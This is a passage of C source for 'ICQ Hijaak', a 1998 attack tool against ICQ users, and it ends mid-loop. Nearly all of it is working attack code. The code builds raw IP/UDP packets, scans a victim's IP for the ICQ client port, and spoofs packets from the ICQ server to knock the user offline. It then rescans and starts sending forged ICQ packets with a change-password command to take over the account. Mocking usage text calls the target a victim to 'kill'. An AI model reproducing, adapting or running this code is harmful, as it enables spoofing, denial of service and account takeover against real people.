<br><tt> if ( err < 0 ) {</tt>
<br><tt>
return FAILURE;</tt>
<br><tt> }</tt>
<br><tt> *local = laddress.sin_addr;</tt>
<br><tt> close(s);</tt>
<br><tt> return SUCCESS;</tt>
<br><tt>}</tt>
<br><tt>int CreateICMPSocket( void )</tt>
<br><tt>{</tt>
<br><tt> int s;</tt>
<p><tt> s = socket( AF_INET,
SOCK_RAW, IPPROTO_ICMP );</tt>
<br><tt> if ( s < 1 )</tt>
<br><tt>
return FAILURE;</tt>
<br><tt> return s;</tt>
<br><tt>}</tt>
<br><tt>int SendUDP( int s, struct in_addr source, struct in_addr
dest,</tt>
<br><tt>
u16 sport, u16 tport )</tt>
<br><tt>{</tt>
<br><tt> static u8
packet[576];</tt>
<br><tt> struct sockaddr_in
raddress;</tt>
<br><tt> struct sockaddr
* raddr = (struct sockaddr *)&raddress;</tt>
<br><tt> int
psize;</tt>
<br><tt> int
err;</tt>
<br>
<p><tt> raddress.sin_port = htons(
1984 ); /* DON'T CARE */</tt>
<br><tt> raddress.sin_family
= AF_INET;</tt>
<br><tt> raddress.sin_addr =
dest;</tt>
<br>
<p><tt> psize = IP_END + UDP_END
+ 6;</tt>
<p><tt> make_ip_hdr( packet,
psize, IPPROTO_UDP, 0x666, 0,</tt>
<br><tt>
source, dest, 0x7F );</tt>
<p><tt> make_udp_hdr( packet,
psize - IP_END, sport, tport);</tt>
<p><tt> err = sendto( s, packet,
psize, 0,raddr, sizeof(raddress));</tt>
<br><tt> if ( err != psize )
{</tt>
<br><tt>
perror("Sending");</tt>
<br><tt>
return FAILURE;</tt>
<br><tt>
}</tt>
<br><tt> return SUCCESS;</tt>
<br><tt>}</tt>
<br><tt>const int verify_secs = 2;</tt>
<br><tt>int VerifyUDPPort( struct in_addr addr, u16 port )</tt>
<br><tt>{</tt>
<br><tt> int
s_icmp;</tt>
<br><tt> struct timeval
start_time, end_time, wait_time;</tt>
<br><tt> fd_set
rdfs;</tt>
<br><tt> int
err;</tt>
<br><tt> static u8
packet[1500]; /* should be max MTU */</tt>
<br><tt> struct sockaddr junkaddr;</tt>
<br><tt> int
junksize;</tt>
<p><tt> u8
* icmphdr;</tt>
<br><tt> u8
* fiphdr;</tt>
<br><tt> u8
* fudphdr;</tt>
<br><tt> int
len;</tt>
<br><tt> int
got_unreach;</tt>
<br><tt> struct in_addr
localaddr;</tt>
<br><tt> int
rawsock;</tt>
<br><tt> if ( GetLocalAddress(addr,
&localaddr) == FAILURE ) {</tt>
<br><tt> perror("GetLocalAddress");
exit(-1); }</tt>
<br><tt> s_icmp = CreateICMPSocket();</tt>
<br><tt> if ( s_icmp == FAILURE
) { perror("Getting ICMP socket"); exit(-1); }</tt>
<br><tt> rawsock = CreateRawSocket();</tt>
<br><tt> if ( rawsock < 0
) { perror("Getting Raw socket"); exit(-1); }</tt>
<br><tt> FD_ZERO( &rdfs );
FD_SET( s_icmp, &rdfs );</tt>
<br><tt> if ( SendUDP(rawsock,
localaddr, addr, 0x1984, port ) == FAILURE ) {</tt>
<br><tt>
perror("Sending UDP packet"); exit(-1); }</tt>
<br><tt> got_unreach = 0; gettimeofday(
&start_time, NULL );</tt>
<br><tt> do { wait_time.tv_usec
= 0; wait_time.tv_sec = verify_secs;</tt>
<br><tt>
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );</tt>
<br><tt>
if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }</tt>
<br><tt>
if ( !err ) break;</tt>
<br><tt>
junksize = sizeof( struct sockaddr );</tt>
<br><tt>
err = recvfrom( s_icmp, packet, 1500, 0,</tt>
<br><tt>
&junkaddr, &junksize );</tt>
<br><tt>
if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");</tt>
<br><tt>
exit(-1); }</tt>
<br><tt>
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||</tt>
<br><tt>
(dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )</tt>
<br><tt>
goto check_timeout;</tt>
<br><tt>
len = ( byte(*packet, 0 ) & 0x0F ) * 4;</tt>
<br><tt>
icmphdr = packet + len;</tt>
<br><tt>
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||</tt>
<br><tt>
(byte(*icmphdr,ICMP_CODE ) != 3 ) )</tt>
<br><tt>
goto check_timeout;</tt>
<br><tt>
fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;</tt>
<br><tt>
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;</tt>
<br><tt>
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||</tt>
<br><tt>
( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr) ) )
)</tt>
<br><tt>
goto check_timeout;</tt>
<br><tt>
fudphdr = fiphdr + len;</tt>
<br><tt>
if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {</tt>
<br><tt>
got_unreach = 1; break; }</tt>
<br><tt>check_timeout:</tt>
<br><tt>
gettimeofday( &end_time, NULL );</tt>
<br><tt> } while ( ( end_time.tv_sec
- start_time.tv_sec ) < verify_secs );</tt>
<br><tt> close( s_icmp ); close(
rawsock);</tt>
<br><tt> if ( got_unreach ) return
FAILURE;</tt>
<br><tt> else return SUCCESS;</tt>
<p><tt>}</tt>
<br><tt>typedef struct foobar</tt>
<br><tt>{</tt>
<br><tt> int
next;</tt>
<br><tt> int
prev;</tt>
<br><tt> u16
rem_port;</tt>
<br><tt> int
times;</tt>
<br><tt>} port_info;</tt>
<br><tt>#define MAX_BURST 128</tt>
<br><tt>#define UNUSED_HEAD MAX_BURST + 1</tt>
<br><tt>#define UNUSED_TAIL MAX_BURST + 2</tt>
<br><tt>#define LIVE_HEAD MAX_BURST
+ 3</tt>
<br><tt>#define LIVE_TAIL MAX_BURST
+ 4</tt>
<br><tt>#define FIRST_LPORT 55000</tt>
<br><tt>#define SEND_COUNT 3</tt>
<br><tt>#define NEXT(i) List[(i)].next</tt>
<br><tt>#define PREV(i) List[(i)].prev</tt>
<br><tt>#define PORT(i) List[(i)].rem_port</tt>
<br><tt>#define TIMES(i) List[(i)].times</tt>
<br><tt>int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport
)</tt>
<br><tt>{</tt>
<br><tt> int
unused_head;</tt>
<br><tt> int
unused_tail;</tt>
<br><tt> int
live_head;</tt>
<br><tt> int
live_tail;</tt>
<br><tt> int
i;</tt>
<br><tt> port_info
List[ LIVE_TAIL + 1 ];</tt>
<br><tt> int
Current[ MAX_BURST ];</tt>
<br><tt> int
cur_min, cur_max;</tt>
<br><tt> int
now_port;</tt>
<br><tt> int
delay;</tt>
<br><tt> int
my_port;</tt>
<br><tt> int
cur_send;</tt>
<br><tt> struct timeval
wait_time;</tt>
<br><tt> fd_set
rdfs;</tt>
<br><tt> int
err;</tt>
<br><tt> int
s_icmp, rawsock;</tt>
<br><tt> struct in_addr
localaddr;</tt>
<br><tt> *tport = 0;</tt>
<br><tt> if ( GetLocalAddress(addr,
&localaddr) == FAILURE ) {</tt>
<br><tt>
perror("GetLocalAddress"); return FAILURE; }</tt>
<br><tt> s_icmp = CreateICMPSocket();</tt>
<br><tt> if ( s_icmp == FAILURE
) {</tt>
<br><tt>
perror("Getting ICMP socket"); return FAILURE; }</tt>
<br><tt> rawsock = CreateRawSocket();</tt>
<br><tt> if ( rawsock < 0
) {</tt>
<br><tt>
perror("Getting Raw socket"); return FAILURE; }</tt>
<br><tt> FD_ZERO( &rdfs );</tt>
<br><tt> FD_SET( s_icmp, &rdfs
);</tt>
<br><tt> List[ LIVE_TAIL ].next
= -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;</tt>
<br><tt> List[ LIVE_TAIL ].rem_port
= 0; List[ LIVE_HEAD ].prev = -1;</tt>
<br><tt> List[ LIVE_HEAD ].next
= LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;</tt>
<br><tt> List[ UNUSED_TAIL ].next
= -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;</tt>
<br><tt> List[ UNUSED_TAIL ].rem_port
= 0; List[ UNUSED_HEAD ].prev = -1;</tt>
<br><tt> List[ UNUSED_HEAD ].next
= UNUSED_TAIL;</tt>
<br><tt> List[ UNUSED_HEAD ].rem_port
= 0;</tt>
<br><tt> for ( i = 0; i <
MAX_BURST ; i++ ) {</tt>
<br><tt>
PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;</tt>
<br><tt>
NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;</tt>
<br><tt>
TIMES( i ) = SEND_COUNT; }</tt>
<br><tt> now_port = start;</tt>
<br><tt> cur_min = now_port;</tt>
<br><tt> cur_max = MAX_BURST;</tt>
<br><tt> my_port = FIRST_LPORT;</tt>
<br><tt> cur_send = 16;</tt>
<p><tt> while ( 1 ) {</tt>
<br><tt>
int cur;</tt>
<br><tt>
int cnt;</tt>
<p><tt>
cur_max = cur_send;</tt>
<br><tt>
cur_min = now_port;</tt>
<br><tt>
cur = List[ LIVE_HEAD ].next;</tt>
<br><tt>
cnt = 0;</tt>
<br><tt>
while ( NEXT(cur) != -1 ) {</tt>
<p><tt>
if (!cur_max ) {</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
cnt++;</tt>
<p><tt>
if ( SendUDP(rawsock, localaddr, addr,</tt>
<br><tt>
my_port, PORT(cur) ) == FAILURE ) {</tt>
<br><tt>
perror("Sending UDP packet");</tt>
<br><tt>
return FAILURE;</tt>
<br><tt>
}</tt>
<br><tt>
cur_max--;</tt>
<br><tt>
TIMES(cur)--;</tt>
<br><tt>
cur = NEXT(cur);</tt>
<p><tt>
if ( NEXT(cur) > LIVE_TAIL ) {</tt>
<br><tt>
printf("Ugh! %d \n", NEXT(cur) );</tt>
<br><tt>
exit(-1);</tt>
<br><tt>
}</tt>
<p><tt>
}</tt>
<p><tt>
for ( i = 0; i < cur_max ; i ++ ) {</tt>
<br><tt>
int node;</tt>
<p><tt>
if ( cur_min > end )</tt>
<br><tt>
break;</tt>
<p><tt>
node = NEXT( UNUSED_HEAD );</tt>
<br><tt>
if ( -1 == NEXT( node ) )</tt>
<br><tt>
break;</tt>
<br><tt>
NEXT( UNUSED_HEAD ) = NEXT( node );</tt>
<br><tt>
PREV( NEXT(node) ) = UNUSED_HEAD;</tt>
<p><tt>
PREV( node ) = PREV( LIVE_TAIL );</tt>
<br><tt>
NEXT( node ) = LIVE_TAIL;</tt>
<br><tt>
NEXT( PREV( node ) ) = node;</tt>
<br><tt>
PREV( NEXT( node ) ) = node;</tt>
<p><tt>
PORT( node ) = cur_min + i;</tt>
<br><tt>
if ( SendUDP(rawsock, localaddr, addr,</tt>
<br><tt>
my_port, cur_min+i ) == FAILURE ) {</tt>
<br><tt>
perror("Sending UDP packet");</tt>
<br><tt>
return FAILURE;</tt>
<br><tt>
}</tt>
<p><tt>
Current[ i ] = node;</tt>
<br><tt>
}</tt>
<p><tt>
if ( ( now_port >= end ) &&</tt>
<br><tt>
( !cnt ) ) {</tt>
<br><tt>
printf("Found nothing!\n");</tt>
<br><tt>
return SUCCESS;</tt>
<br><tt>
}</tt>
<br><tt>
now_port += cur_max;</tt>
<p><tt>
/*</tt>
<br><tt>
* Delay, waiting for responses. Continue until the</tt>
<br><tt>
* operation times out, meaning that we waited long enough</tt>
<br><tt>
* for a packet..</tt>
<br><tt>
*/</tt>
<br><tt>
cnt = 0;</tt>
<br><tt>
while ( 1 ) {</tt>
<br><tt>
int junksize;</tt>
<br><tt>
static struct sockaddr junkaddr;</tt>
<br><tt>
static u8 packet[1500];</tt>
<br><tt>
int len;</tt>
<br><tt>
u8 * icmphdr, * fiphdr, *fudphdr;</tt>
<br><tt>
int got_port;</tt>
<br><tt>
int cur;</tt>
<p><tt>
wait_time.tv_usec = 0;</tt>
<br><tt>
wait_time.tv_sec = 5;</tt>
<br><tt>
FD_SET( s_icmp, &rdfs );</tt>
<br><tt>
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
if ( -1 == err ) {</tt>
<br><tt>
perror("UDPSCAN - Select");</tt>
<br><tt>
return FAILURE;</tt>
<br><tt>
}</tt>
<br><tt>
if ( !err ) {</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
junksize = sizeof( struct sockaddr );</tt>
<br><tt>
err = recvfrom( s_icmp, packet, sizeof(packet), 0,</tt>
<br><tt>
&junkaddr, &junksize );</tt>
<br><tt>
if ( -1 == err ) {</tt>
<br><tt>
perror("UDPSCAN - recvfrom: ");</tt>
<br><tt>
exit(-1);</tt>
<br><tt>
}</tt>
<br><tt>
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||</tt>
<br><tt>
(dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )</tt>
<br><tt>
continue;</tt>
<br><tt>
len = ( byte(*packet, 0 ) & 0x0F ) * 4;</tt>
<br><tt>
icmphdr = packet + len;</tt>
<br><tt>
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||</tt>
<br><tt>
(byte(*icmphdr,ICMP_CODE ) != 3 ) )</tt>
<br><tt>
continue;</tt>
<br><tt>
fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;</tt>
<br><tt>
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;</tt>
<br><tt>
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||</tt>
<br><tt>
( (dword(*fiphdr, IP_DST ) !=</tt>
<br><tt>
*((u32 *)&addr) ) ) )</tt>
<br><tt>
continue;</tt>
<br><tt>
fudphdr = fiphdr + len;</tt>
<br><tt>
got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;</tt>
<p><tt>
if ( ( got_port >= cur_min ) &&</tt>
<br><tt>
( got_port < (cur_min+cur_max) ) ) {</tt>
<br><tt>
cur = Current[ got_port - cur_min ];</tt>
<p><tt>
PREV( NEXT(cur) ) = PREV( cur );</tt>
<br><tt>
NEXT( PREV(cur) ) = NEXT( cur );</tt>
<p><tt>
PREV( cur ) = PREV( UNUSED_TAIL );</tt>
<br><tt>
NEXT( cur ) = UNUSED_TAIL;</tt>
<br><tt>
NEXT( PREV( cur ) ) = cur;</tt>
<br><tt>
PREV( NEXT( cur ) ) = cur;</tt>
<p><tt>
cnt++;</tt>
<br><tt>
continue;</tt>
<br><tt>
}</tt>
<br><tt>
/*</tt>
<br><tt>
* if we get here, then it was one of the older</tt>
<br><tt>
* ones, so look through the array for it</tt>
<br><tt>
*/</tt>
<br><tt>
cur = NEXT( LIVE_HEAD );</tt>
<br><tt>
while ( NEXT(cur) != -1 ) {</tt>
<br><tt>
if ( PORT(cur) == got_port ) {</tt>
<p><tt>
PREV( NEXT(cur) ) = PREV( cur );</tt>
<br><tt>
NEXT( PREV(cur) ) = NEXT( cur );</tt>
<p><tt>
PREV( cur ) = PREV( UNUSED_TAIL );</tt>
<br><tt>
NEXT( cur ) = UNUSED_TAIL;</tt>
<br><tt>
NEXT( PREV( cur ) ) = cur;</tt>
<br><tt>
break;</tt>
<br><tt>
}</tt>
<br><tt>
cur = NEXT(cur);</tt>
<br><tt>
}</tt>
<br><tt>
if ( NEXT(cur) == -1 ) {</tt>
<br><tt>
printf("RESPONSE FOR PORT %d UNEXPECTED! \n",</tt>
<br><tt>
got_port);</tt>
<br><tt>
} else {</tt>
<br><tt>
cnt++;</tt>
<br><tt>
}</tt>
<p><tt>
}</tt>
<br><tt>
printf("[UDP Scan working] Got %d responses \n", cnt );</tt>
<br>
<p><tt>
if ( cnt < ( (cur_send/4) * 3 ) ) {</tt>
<p><tt>
cur_send /= 2;</tt>
<br><tt>
if ( cur_send < 16 ) {</tt>
<br><tt>
cur_send = 16;</tt>
<br><tt>
}</tt>
<p><tt>
} else {</tt>
<br><tt>
cur_send *= 2;</tt>
<br><tt>
if ( cur_send > MAX_BURST ) {</tt>
<br><tt>
cur_send = MAX_BURST;</tt>
<br><tt>
} } cur = NEXT( LIVE_HEAD );</tt>
<br><tt>
while ( NEXT(cur) != -1 ) {</tt>
<br><tt>
if (!TIMES(cur) ) {</tt>
<br><tt>
printf("SCORE! Port is %d \n",PORT(cur));</tt>
<br><tt>
close( s_icmp );</tt>
<br><tt>
close( rawsock);</tt>
<br><tt>
*tport = PORT(cur);</tt>
<br><tt>
return SUCCESS;</tt>
<br><tt>
}</tt>
<br><tt>
cur = NEXT(cur);</tt>
<br><tt>
}</tt>
<p><tt> }</tt>
<p><tt> close( s_icmp );</tt>
<br><tt> close( rawsock);</tt>
<br><tt> return SUCCESS;</tt>
<br><tt>}</tt>
<br><tt>#define COMMAND_CHANGEPASSWORD 0x049C</tt>
<br><tt>#define COMMAND_LOGOFF 0x0438</tt>
<br><tt>#define RESPONSE_ERROR 0x00F0</tt>
<p><tt>int WritePacket(u8 * data_ptr,</tt>
<br><tt>
int * size,</tt>
<br><tt>
char * format,</tt>
<br><tt>
... )</tt>
<p><tt>{</tt>
<br><tt> u8
* ptr;</tt>
<br><tt> va_list
ap;</tt>
<br><tt> u32
dword_param;</tt>
<br><tt> u16
word_param;</tt>
<br><tt> u8
byte_param;</tt>
<br><tt> u8
* string_param;</tt>
<br><tt> int
string_length;</tt>
<br><tt> int
* data_length;</tt>
<p><tt> ap = va_start( ap, format
);</tt>
<br><tt> ptr = data_ptr;</tt>
<p><tt> while ( *format ) {</tt>
<br><tt>
switch ( *format++ ) {</tt>
<br><tt>
case 'L': /* dword */</tt>
<br><tt>
dword_param = va_arg(ap, u32 );</tt>
<br><tt>
*(ptr++) = dword_param & 0xFF;</tt>
<br><tt>
*(ptr++) = (dword_param >> 8 ) & 0xFF;</tt>
<br><tt>
*(ptr++) = (dword_param >> 16) & 0xFF;</tt>
<br><tt>
*(ptr++) = (dword_param >> 24) & 0xFF;</tt>
<br><tt>
break;</tt>
<br><tt>
case 'W': /* word */</tt>
<br><tt>
word_param = va_arg(ap, u16 );</tt>
<br><tt>
*(ptr++) = word_param & 0xFF;</tt>
<br><tt>
*(ptr++) = (word_param >> 8 ) & 0xFF;</tt>
<br><tt>
break;</tt>
<br><tt>
case 'B': /* Byte */</tt>
<br><tt>
byte_param = va_arg(ap, u8 );</tt>
<br><tt>
*(ptr++) = byte_param;</tt>
<br><tt>
break;</tt>
<p><tt>
case 'S': /* ICQ string */</tt>
<br><tt>
string_param = va_arg(ap, u8 * );</tt>
<br><tt>
string_length = strlen( string_param ) + 1;</tt>
<br><tt>
*(ptr++) = (string_length ) & 0xFF;</tt>
<br><tt>
*(ptr++) = (string_length >> 8) & 0xFF;</tt>
<br><tt>
memcpy( ptr, string_param, string_length );</tt>
<br><tt>
ptr += string_length;</tt>
<br><tt>
break;</tt>
<br><tt>
case 'D': /* pure data with length byte */</tt>
<br><tt>
data_length = va_arg(ap, int * );</tt>
<br><tt>
string_param = va_arg(ap, u8 * );</tt>
<br><tt>
memcpy( ptr, string_param , *data_length );</tt>
<br><tt>
ptr += *data_length;</tt>
<br><tt>
break;</tt>
<p><tt>
default:</tt>
<br><tt>
fprintf(stderr,"Invalid type %c \n", *(format-1) );</tt>
<br><tt>
return FAILURE;</tt>
<br><tt>
}</tt>
<p><tt> }</tt>
<br><tt> /* return the size taken
up */</tt>
<br><tt> *size = (ptr - data_ptr
);</tt>
<br><tt> return SUCCESS;</tt>
<br><tt>}</tt>
<br><tt>u32 icq_uin = -1;</tt>
<br><tt>u16 icq_seq = 0;</tt>
<br><tt>u16 icq_seq2 = 0;</tt>
<br><tt>#define ICQ4_VER 0</tt>
<br><tt>#define ICQ4_RANDOM 2</tt>
<br><tt>#define ICQ4_ZERO 4</tt>
<br><tt>#define ICQ4_COMMAND 6</tt>
<br><tt>#define ICQ4_SEQ 8</tt>
<br><tt>#define ICQ4_SEQ2 10</tt>
<br><tt>#define ICQ4_UID 12</tt>
<br><tt>#define ICQ4_CHECK 16</tt>
<br><tt>#define ICQ4_END 20</tt>
<br><tt>void create_icq4_hdr(</tt>
<br><tt>
u8 * data_ptr,</tt>
<br><tt>
u16 any_number,</tt>
<br><tt>
u16 command,</tt>
<br><tt>
int data_size</tt>
<br><tt>
)</tt>
<br><tt>{</tt>
<br><tt>u32 check;</tt>
<br><tt>u32 check2;</tt>
<br><tt>u32 keyvalue;</tt>
<br><tt>int count;</tt>
<br><tt>int length;</tt>
<br><tt>int i;</tt>
<br><tt>u8 ofs;</tt>
<br><tt>u8 val;</tt>
<p><tt>length = data_size + ICQ4_END;</tt>
<p><tt>memset( data_ptr, 0, ICQ4_END );</tt>
<p><tt>word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) =
any_number;</tt>
<br><tt>word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ
) = icq_seq;</tt>
<br><tt>word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID
) = icq_uin;</tt>
<br><tt>dword(*data_ptr,ICQ4_CHECK) = 0x0;</tt>
<p><tt>check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) <<
16 ) |</tt>
<br><tt> ( *(data_ptr + 2) <<
8 ) | ( *(data_ptr + 6) );</tt>
<br><tt>ofs = random() % length; val = *(data_ptr + ofs );</tt>
<br><tt>check2 = ( ofs << 24 ) | ( val << 16 );</tt>
<br><tt>ofs = random() % 256; val = icq_check_data[ ofs ];</tt>
<br><tt>check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check
^= check2;</tt>
<br><tt>dword(*data_ptr,ICQ4_CHECK ) = check;</tt>
<br><tt>keyvalue = length * 0x66756B65; keyvalue += check;</tt>
<br><tt>count = ( length + 3 ) / 4; count += 3; count /= 4;</tt>
<br><tt>for ( i = 0; i < count ; i++ ) {</tt>
<br><tt> u32 * r;</tt>
<br><tt> if ( i == 4 ) continue;
r = (u32 *)(data_ptr + (i*4) );</tt>
<br><tt> *r ^= (keyvalue + icq_check_data[i*4] ); }</tt>
<br><tt>word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */</tt>
<br><tt>}</tt>
<p><tt>void create_icq3_header(
u8 * data_ptr, int * size, u16 command,</tt>
<br><tt>u16 seq1, u16 seq2, u32 UIN )</tt>
<br><tt>{</tt>
<br><tt> int
len, len2, err, ofs, val;</tt>
<br><tt> u32
check, check2;</tt>
<p><tt> err = WritePacket( data_ptr,&len,
"WWWWL",</tt>
<br><tt>
0x03, command, seq1, seq2, UIN );</tt>
<br><tt> if ( err == FAILURE
) {</tt>
<br><tt>
printf("Programmer Error in create_icq3_header\n"); exit(-1); }</tt>
<br><tt> check = ( *(data_ptr
+ 8) << 24) | ( *(data_ptr + 4) << 16 ) |</tt>
<br><tt>
( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );</tt>
<br><tt> ofs = random() % len;
val = *(data_ptr + ofs );</tt>
<br><tt> check2 = ( ofs <<
24 ) | ( val << 16 );</tt>
<br><tt> ofs = random() % 256;</tt>
<br><tt> val = icq_check_data[
ofs ];</tt>
<br><tt> check2 |= ( ofs <<
8 ) | ( val );</tt>
<br><tt> check2 ^= 0x00FF00FF;
check ^= check2;</tt>
<br><tt> err = WritePacket( (data_ptr
+ len),&len2,"L", check );</tt>
<br><tt>*size = len + len2; }</tt>
<br><tt>static u8 packet[ 1500 ];</tt>
<br><tt>void main( int argc, char ** argv );</tt>
<br><tt>void main( int argc, char ** argv )</tt>
<br><tt>{</tt>
<br><tt> int
count;</tt>
<br><tt> int
i;</tt>
<br><tt> u16
j, k;</tt>
<br><tt> struct in_addr * addr_list;</tt>
<br><tt> struct in_addr * target_list;</tt>
<br><tt> int
err;</tt>
<br><tt> struct in_addr
you;</tt>
<br><tt> struct in_addr
me;</tt>
<br><tt> int
rawsock;</tt>
<br><tt> struct sockaddr raddr;</tt>
<br><tt> struct sockaddr_in *
r_in = (struct sockaddr_in *)&raddr;</tt>
<br><tt> int
size;</tt>
<br><tt> u8
* data_ptr;</tt>
<br><tt> u8
* hdr_ptr;</tt>
<br><tt> int
hdr_size;</tt>
<br><tt> u16
your_port;</tt>
<br><tt> int
retries;</tt>
<br><tt> int
base_port;</tt>
<br><tt> if ( argc < 5 ) {</tt>
<br><tt>
fprintf(stderr,</tt>
<br><tt>"--=--==[ ICQ Hijaak ]=====------------------------==--------------\n"</tt>
<br><tt>"Author: wumpus@innocent.com *
Copyright (c) 1998 Wolvesbane\n"</tt>
<br><tt>"Usage: \n"</tt>
<br><tt>" hijaak [options] icq-server
target-uin target-ip new-password \n"</tt>
<br><tt>"\n"</tt>
<br><tt>"icq-server: Packets will be *spoofed* from the
(possibly plural) \n"</tt>
<br><tt>"
IP addresses of this parameter. \n"</tt>
<br><tt>"\n"</tt>
<br><tt>"target-uin: D'Oh! \n\n"</tt>
<br><tt>"target-ip: Finding this is up to you.
May the farce be with you\n"</tt>
<br><tt>"\nnew-password: D'Oh! Take a guess \n"</tt>
<br><tt>"\nNo options are available at this time.\n" );</tt>
<br><tt>
exit(-1);</tt>
<br><tt> }</tt>
<br><tt> base_port = 0;</tt>
<br><tt> if ( argc > 5 ) { base_port
= atoi( argv[5] ); }</tt>
<br><tt> if (!base_port)
base_port = 1024;</tt>
<br><tt> icq_uin = atol( argv[2]
);</tt>
<br><tt> if ( !icq_uin ) {</tt>
<br><tt>
fprintf(stderr, "Who do you want me to kill, boss? \n");</tt>
<br><tt>
exit(-1); }</tt>
<br><tt> err = MultiResolve(argv[3],&count,&target_list);</tt>
<br><tt> if ( err == -1 ) { herror("Resolving
target\n"); exit(-1); }</tt>
<br><tt> if ( count > 1 ) { fprintf(stderr,</tt>
<br><tt>"Hey! Moron! You need to specify an UNAMBIGUOUS victim IP.
\n" );</tt>
<br><tt>
exit(-1); }</tt>
<br><tt> you = target_list[0];</tt>
<br><tt> free( target_list );</tt>
<br><tt> err = MultiResolve(argv[1],&count,&addr_list);</tt>
<br><tt> if ( err == -1 ){ herror("Resolving
ICQ server"); exit(-1); }</tt>
<br><tt> r_in->sin_port = htons(
1984 ); /* DON'T CARE */</tt>
<br><tt> r_in->sin_family = AF_INET;
r_in->sin_addr = you;</tt>
<p><tt> hdr_ptr = packet + IP_END
+ UDP_END;</tt>
<p><tt> rawsock = CreateRawSocket();</tt>
<p><tt> printf("** Scanning for
luser's ICQ port ...\n");</tt>
<p><tt> your_port = base_port;</tt>
<br><tt> while ( 1 ) { err =
UDPScan(you, your_port, 65535, &your_port );</tt>
<br><tt>
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,</tt>
<br><tt>"D'Oh! Can't find a target port. Better check that
target IP again!\n");</tt>
<br><tt>
exit(-1); }</tt>
<br><tt>
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {</tt>
<br><tt>
fprintf(stderr,</tt>
<br><tt>"UDP scan found invalid port. Retrying... Hit CTRL-C to exit\n");</tt>
<br><tt>
continue; }</tt>
<br><tt>
break;</tt>
<br><tt> }</tt>
<br><tt> printf("*** Got luser's
port at %d \n", your_port );</tt>
<br><tt> create_icq3_header(hdr_ptr,
&hdr_size, RESPONSE_ERROR, 0,</tt>
<br><tt>
0, icq_uin ); retries = 3;</tt>
<br><tt> while ( retries-- )
{</tt>
<br><tt>
printf("Trying to knock luser offline. Attempt %d\n",</tt>
<br><tt>
3 - retries );</tt>
<br><tt>
for ( i = 0; i < count ; i++ ) {</tt>
<br><tt>
int psize;</tt>
<p><tt>
psize = IP_END + UDP_END + hdr_size;</tt>
<br><tt>
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,</tt>
<br><tt>
addr_list[i], you, 0x7F );</tt>
<br><tt>
make_udp_hdr( packet, psize - IP_END, 4000,your_port );</tt>
<br><tt>
err = sendto( rawsock, packet, psize, 0,</tt>
<br><tt>
&raddr, sizeof(raddr));</tt>
<br><tt>
if ( err != psize ) { perror("Sending"); exit(-1); }</tt>
<br><tt>
}</tt>
<br><tt>
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }</tt>
<br><tt>
sleep( 3 ); /* Give 'em some time */</tt>
<br><tt>
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }</tt>
<br><tt>
sleep(3);</tt>
<br><tt> }</tt>
<br><tt> printf("Retries is %d
\n", retries );</tt>
<br><tt> if ( 0 > retries ) {
fprintf(stderr,</tt>
<br><tt>"Uh Oh! Something ain't working. Can't toast the luser.
Sorry, dude.\n");</tt>
<br><tt>
exit(-1); }</tt>
<br><tt> /* more time? how long
does it take to reconnect? */</tt>
<br><tt> sleep(16);</tt>
<br><tt> printf("** Scanning
for luser's _new_ ICQ port ...\n");</tt>
<br><tt> while ( 1 ) {</tt>
<br><tt>
err = UDPScan(you, your_port, 65535, &your_port );</tt>
<br><tt>
if ( ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,</tt>
<br><tt>"D'Oh! Can't find the new port! Maybe your target is smarter
than you?\n");</tt>
<br><tt>
exit(-1); }</tt>
<br><tt>
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {</tt>
<br><tt>
fprintf(stderr,</tt>
<br><tt>"New UDP scan found invalid port. Retrying... Hit CTRL-C
to exit\n");</tt>
<br><tt>
continue; } break; }</tt>
<br><tt> printf("*** Got luser's
new connection at %d \n", your_port );</tt>
<br><tt> printf("*** Hijaaking
account now...(*LONG* version)\n");</tt>
<br><tt> for ( k = 0; k <
14 ; k++ ) {</tt>
<br><tt>
for ( j = 0; j < 14 ; j++ ) {</tt>
<br><tt>
int psize;</tt>
<br><tt>
icq_seq = k; icq_seq2 = j;</tt>
<br><tt>
data_ptr = hdr_ptr + ICQ4_END;</tt>
<br><tt>
